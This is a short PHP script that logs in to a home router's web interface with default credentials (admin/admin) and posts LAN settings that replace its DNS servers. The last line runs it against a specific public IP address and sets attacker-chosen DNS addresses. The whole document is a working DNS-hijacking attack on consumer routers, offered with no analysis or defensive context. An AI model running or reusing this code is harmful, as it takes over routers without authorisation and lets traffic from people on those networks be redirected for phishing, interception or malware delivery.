<?php
function injectDNS($ip,$user,$pass, $dns1="", $dns2=""){

	$ip = "http://".$ip."/Forms/home_lan_1";
	$dns['uiViewDNSRelay'] = "1";
	$dns['uiViewDns1Mark'] = $dns1;
	$dns['uiViewDns2Mark'] = $dns2;
	$dns['dhcpTypeRadio'] = "1";
	$dns['uiViewIPAddr'] = "192.168.1.1";
	$dns['uiViewNetMask'] = "255.255.255.0";
	$dns['lan_RIPVersion'] = "0";
	$dns['lan_RIPDirection'] = "0";
	$dns['lan_IGMP']="1";
	$dns['igmp_snoop_act']="1";
	$dns['dhcp_StartIP']="192.168.1.100";
	$dns['sysPoolCount']="32";

    $defaults = array(
        CURLOPT_POST => 1,
        CURLOPT_HEADER => 1,
        CURLOPT_URL => $ip,
        CURLOPT_USERPWD => $user.':'.$pass,
        CURLOPT_HTTPAUTH => CURLAUTH_BASIC,
        CURLOPT_FRESH_CONNECT => 1,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_FORBID_REUSE => 1,
        CURLOPT_TIMEOUT => 4,
        CURLOPT_COOKIEFILE => 'cookie.txt',
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_POSTFIELDS => http_build_query($dns)
    );

    $c = curl_init();
    curl_setopt_array($c,  $defaults);
    if(!$result = curl_exec($c)) trigger_error(curl_error($c));
    return $result;
}
echo injectDNS("62.98.8.184","admin","admin", $dns1="123.123.123.123", $dns2="111.111.111.111")
?>